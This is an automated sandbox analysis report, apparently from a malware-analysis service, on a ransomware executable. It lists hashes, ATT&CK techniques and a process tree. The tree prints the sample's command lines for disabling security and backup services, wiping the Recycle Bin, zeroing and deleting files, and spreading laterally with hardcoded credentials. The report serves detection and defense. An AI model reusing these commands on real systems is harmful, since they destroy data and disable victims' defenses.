cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Resubmissions

30-06-2024 11:05

240630-m6ssqawhkc 10

30-06-2024 11:04

240630-m6hmrazejm 10

29-06-2024 20:11

240629-yybd9avdrf 10

Analysis

max time kernel
143s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
30-06-2024 11:05

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General

Target

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Size

91KB
MD5

be60e389a0108b2871dff12dfbb542ac
SHA1

14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
SHA256

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
SHA512

6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
SSDEEP

1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI

Score

10^/10

evasion execution ransomware

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Renames multiple (60) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Executes dropped EXE 1 IoCs

pid	Process
5972	vyrkayky.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com
4	raw.githubusercontent.com

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3136	sc.exe
3560	sc.exe
3804	sc.exe
1392	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 3 IoCs

evasion

pid	Process
1720	taskkill.exe
656	taskkill.exe
1728	taskkill.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2256	notepad.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
384	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeDebugPrivilege	1720	taskkill.exe
Token: SeDebugPrivilege	656	taskkill.exe
Token: SeDebugPrivilege	1728	taskkill.exe
Token: SeAssignPrimaryTokenPrivilege	5972	vyrkayky.exe
Token: SeIncreaseQuotaPrivilege	5972	vyrkayky.exe
Token: SeImpersonatePrivilege	5972	vyrkayky.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4860 wrote to memory of 4900	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	90
PID 4860 wrote to memory of 4900	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	90
PID 4860 wrote to memory of 4900	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	90
PID 4860 wrote to memory of 3480	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	92
PID 4860 wrote to memory of 3480	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	92
PID 4860 wrote to memory of 3480	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	92
PID 3480 wrote to memory of 3872	3480	net.exe	94
PID 3480 wrote to memory of 3872	3480	net.exe	94
PID 3480 wrote to memory of 3872	3480	net.exe	94
PID 4860 wrote to memory of 4432	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	95
PID 4860 wrote to memory of 4432	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	95
PID 4860 wrote to memory of 4432	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	95
PID 4860 wrote to memory of 4236	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	96
PID 4860 wrote to memory of 4236	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	96
PID 4860 wrote to memory of 4236	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	96
PID 4860 wrote to memory of 3012	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	97
PID 4860 wrote to memory of 3012	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	97
PID 4860 wrote to memory of 3012	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	97
PID 4860 wrote to memory of 3076	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	98
PID 4860 wrote to memory of 3076	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	98
PID 4860 wrote to memory of 3076	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	98
PID 4860 wrote to memory of 3528	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	99
PID 4860 wrote to memory of 3528	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	99
PID 4860 wrote to memory of 3528	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	99
PID 4860 wrote to memory of 2704	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	100
PID 4860 wrote to memory of 2704	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	100
PID 4860 wrote to memory of 2704	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	100
PID 4860 wrote to memory of 3284	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	101
PID 4860 wrote to memory of 3284	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	101
PID 4860 wrote to memory of 3284	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	101
PID 4860 wrote to memory of 528	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	102
PID 4860 wrote to memory of 528	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	102
PID 4860 wrote to memory of 528	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	102
PID 4860 wrote to memory of 4848	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	103
PID 4860 wrote to memory of 4848	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	103
PID 4860 wrote to memory of 4848	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	103
PID 4860 wrote to memory of 3436	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	104
PID 4860 wrote to memory of 3436	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	104
PID 4860 wrote to memory of 3436	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	104
PID 4860 wrote to memory of 3828	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	105
PID 4860 wrote to memory of 3828	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	105
PID 4860 wrote to memory of 3828	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	105
PID 4860 wrote to memory of 1940	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	106
PID 4860 wrote to memory of 1940	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	106
PID 4860 wrote to memory of 1940	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	106
PID 4860 wrote to memory of 1832	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	107
PID 4860 wrote to memory of 1832	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	107
PID 4860 wrote to memory of 1832	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	107
PID 4860 wrote to memory of 1696	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	108
PID 4860 wrote to memory of 1696	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	108
PID 4860 wrote to memory of 1696	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	108
PID 4860 wrote to memory of 792	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	109
PID 4860 wrote to memory of 792	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	109
PID 4860 wrote to memory of 792	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	109
PID 4860 wrote to memory of 324	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	110
PID 4860 wrote to memory of 324	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	110
PID 4860 wrote to memory of 324	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	110
PID 4860 wrote to memory of 1784	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	111
PID 4860 wrote to memory of 1784	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	111
PID 4860 wrote to memory of 1784	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	111
PID 4860 wrote to memory of 2548	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	112
PID 4860 wrote to memory of 2548	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	112
PID 4860 wrote to memory of 2548	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	112
PID 4860 wrote to memory of 852	4860	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	113

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4860
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4900
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:3872
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:4432
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:5712
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:4236
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:5808
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:3012
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:5856
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:3076
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:5740
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:3528
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:5776
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:2704
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:5868
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:3284
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:5784
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:528
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:5600
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:4848
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:5484
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:3436
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:5608
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:3828
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:5500
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:1940
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:5492
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:1832
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:5624
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:1696
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:5616
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:792
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:5816
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:324
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:5640
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:1784
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:5748
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:2548
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:5840
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:852
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:5564
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:4572
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:5676
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:3088
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:5632
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:2744
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:5704
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:1272
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:5660
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:1336
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:5760
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:1760
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:5688
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:5084
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:5768
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:4724
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:5732
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:680
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:5648
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:644
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:5696
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:3056
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:5724
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:3672
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:5848
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:2680
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:5800
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:3148
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:5792
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:2832
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:5832
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:3260
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:5668
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:1392
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:3804
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:3136
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3560
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1728
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:656
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1720
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:2008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp1855.bat
  2⤵
  PID:5944
- C:\Windows\SysWOW64\net.exe
  "net.exe" use \\10.127.0.83 /USER:EDENFIELD\efadmin P455w0rd
  2⤵
  PID:5904
- C:\Users\Admin\AppData\Local\Temp\vyrkayky.exe
  "C:\Users\Admin\AppData\Local\Temp\vyrkayky.exe" \10.127.0.83 -u EDENFIELD\efadmin -p P455w0rd -d -f -h -s -n 2 -c C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5972
- C:\Windows\SysWOW64\arp.exe
  "arp" -a
  2⤵
  PID:5924
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2256
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:3404
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:384
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:3828
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  PID:4596
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:5456

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
